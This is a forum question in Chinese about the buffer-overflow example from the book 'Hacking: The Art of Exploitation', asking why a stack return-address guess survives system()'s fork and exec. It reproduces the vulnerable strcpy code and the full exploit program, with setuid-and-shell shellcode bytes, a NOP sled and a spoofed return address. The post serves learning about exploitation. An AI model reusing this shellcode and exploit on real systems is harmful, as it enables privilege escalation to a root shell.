【发布时间】:2012-01-31 13:30:45
【问题描述】:
我正在阅读《剥削艺术》这本书,这是一本不错的书,我从exploit_notesearch.c 文件中看到了那个例子。
简要作者试图从notesearch.c溢出程序
int main(int argc, char *argv[]) {
int userid, printing=1, fd;
char searchstring[100];
if(argc > 1) // If there is an arg
strcpy(searchstring, argv[1]);
else // otherwise,
searchstring[0] = 0;
主函数的参数被复制到搜索字符串数组中,如果参数大于 100 字节,它将溢出主函数的返回地址。
作者在exploit_notesearch.c中准备shellcode,调用有漏洞的notesearch.c
char shellcode[]=
"\x31\xc0\x31\xdb\x31\xc9\x99\xb0\xa4\xcd\x80\x6a\x0b\x58\x51\x68"
"\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x51\x89\xe2\x53\x89"
"\xe1\xcd\x80";
int main(int argc, char *argv[]) {
unsigned int i, *ptr, ret, offset=270;
char *command, *buffer;
command = (char *) malloc(200);
bzero(command, 200);
strcpy(command, "./notesearch \'");
buffer = command + strlen(command);
ret = (unsigned int) &i - offset; // Set return address
for(i=0; i < 160; i+=4) // Fill buffer with return address
*((unsigned int *)(buffer+i)) = ret;
memset(buffer, 0x90, 60); // Build NOP sled
memcpy(buffer+60, shellcode, sizeof(shellcode)-1);
strcat(command, "\'");
system(command); //run exploit
}
您可以看到 shellcode 与 NOP sled 和返回地址组合在一起,返回地址应该指向该 NOP sled。作者以局部变量 i 的地址为参考点,减去 270 个字节,试图找出 NOP sled 的大致位置。
据我了解,作者假设来自易受攻击的 notesearch.c 的主函数的堆栈帧将与来自exploit_notesearch.c 的主函数的堆栈帧位于同一堆栈段中。我假设这是因为只有这样我才能对局部变量的地址进行这种操作。
但是,作者在系统()的帮助下调用了易受攻击的notesearch.c,就像这个系统(命令)一样。我的观点是,内部某处的这个函数 system() 使用 fork() 来生成子进程,然后使用 exec() 函数来更改进程的图像。但是,如果图像被更改,则意味着堆栈段将是新的,并且在exploit_notesearch.c 中的主函数中对局部变量i 的地址进行的所有操作都将毫无用处,但不知何故,这个exploit 的工作让我完全感到困惑。
【问题讨论】:
标签: security buffer-overflow exploit shellcode